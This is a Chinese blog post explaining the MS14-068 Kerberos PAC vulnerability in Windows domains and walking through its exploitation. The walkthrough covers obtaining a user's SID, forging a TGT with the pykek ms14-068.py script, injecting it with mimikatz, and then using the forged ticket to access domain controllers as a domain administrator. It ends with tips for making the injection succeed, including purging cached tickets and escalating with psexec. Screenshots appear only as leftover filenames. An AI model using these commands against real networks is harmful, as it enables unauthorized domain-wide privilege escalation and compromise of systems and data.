欢迎光临
我们一直在努力
"

ms14-068 Kerberos漏洞&&Kerberos漏洞利用技巧

关于Kerberos认证的介绍:
http://www.cnblogs.com/artech/archive/2011/01/24/kerberos.html” r) F6 y4 {; g2 c3 @. M
http://www.cnblogs.com/xwdreamer/archive/2012/08/21/2649601.html
在域里面域控制器就是KDC,KDC使用的密钥就是krbtgt账户的nthash。krbtgt是所有域都有的一个账户,这个账户在查看的时候会 显示已经禁用。同时krbtgt还注册了一个SPN(Service Principal name)。SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口组成。在域里面,所有机器的机器名都默认注册为SPN,当访问一个SPN时,会自动使用Kerberos认证,这就是为什么在域中使用域管理员访问其他机器时不需要输入账号密码的原因。krbtgt的SPN定义如下:
dn: CN=krbtgt,CN=Users,DC=test,DC=ad
changetype: add
servicePrincipalName: kadmin/changepw
微软实现的Kerberos协议中加入了PAC(Privilege Attribute Certificate 特权专属证书),PAC中记录了用户信息以及权限信息,KDC和Server依据PAC里的权限信息控制用户的访问。
看具体的利用过程
exp下载地址:https://github.com/bidord/pykek
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
usersid的获取有很多种方法,如果当前shell是域用户,用whoami /user就可以

1456383351-3660-lAMfA33DVdS0icbnzz8346nn10Eg
如果是本地账户权限,可以用dsquery user –s 192.168.1.111 –u test\john –p Passw0rd. –name john* | dsget user –s 192.168.1.111 –u test\john –p Passw0rd. –sid

1456383351-5502-QOOm9p6PicWS0xtBX2TwexVttMow
ms14-068.py -u john@test.ad -s S-1-5-21-1728372145-521730468-1409314830-1104 -d 192.168.1.111 -p Passw0rd.
这里注意user@后面的域名必须使用完整dns名称,比如这里必须用test.ad而不是NetBIOS名称test。

1456383351-3600-jnrjygDoYfyRoQXtiaOSnYBjxz5w
生成TGT后,用mimikatz “kerberos::ptc TGT_john@test.ad.ccache” exit命令注入TGT,然后用klist可以看到注入结果。

1456383351-4958-SOcQV191yVmRUu0ibpJxY0Ve9Uxw
接下来这个cmdshell就具有了域管理员权限了,可以直接访问域里面各种机器与服务,因为是Kerberos认证,所以完全不需要账号密码。
另外域用户环境下注入TGT需要先klist purge

很多人测试不成功,其实主要是因为你们直接在域普通用户登陆的会话中注入的
根据这篇文章:http://adsecurity.org/?p=676
生成了ccache文件后,再用本地管理员账号登陆系统,这时候注入就可以成功了

但是这样一来稍显麻烦了,于是我想看看到底是什么原因导致域账户注入不成功
域普通账户登陆后用klist可以看到当前缓存的Kerberos tickets

1456383355-5803-chPiaIgFGoQMkCoczWxmGQrPFa4Q
可以看到有好几个,我发现此时用mimikatz注入时,只会更改第一个#0,后面的没有改动。
从上图可以看到#0和#1完全一样,猜测可能因为只更改了一个导致不成功
既然如此,那就先把本地缓存的所有Kerberos tickets清除掉再注入试试
使用klist purge可以清除掉所有凭证,也可以使用mimikatz “kerberos::prege” exit命令清除
purge后注入ccache这里注意,klist purge后需要等待几秒钟,最好等待10s左右,我也不知道为什么,反正如果手速太快立马注入也会导致不成功,可能系统需要一点时间来反应

1456383351-3283-zJUZR8HwAvEibb44jOg7qj4EzDvQ
此时用klist就只有一个注入后的凭证了
然后访问域控

1456383353-4543-Hibic1pPRXhM0Nj0iaIYMh0qhT8Q
klist purge后和本地账户登录其实是一样的,因为这时候本地都已经没有缓存的Kerberos tickets了
同理,猜测使用psexec提升到system权限后再注入也可以成功,事实证明也是如此​

转载请注明: 转载自Legend‘s BLog

本文链接地址: ms14-068 Kerberos漏洞&&Kerberos漏洞利用技巧



未经允许不得转载:Legend‘s BLog » ms14-068 Kerberos漏洞&&Kerberos漏洞利用技巧

分享到:更多 ()

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

无觅相关文章插件,快速提升流量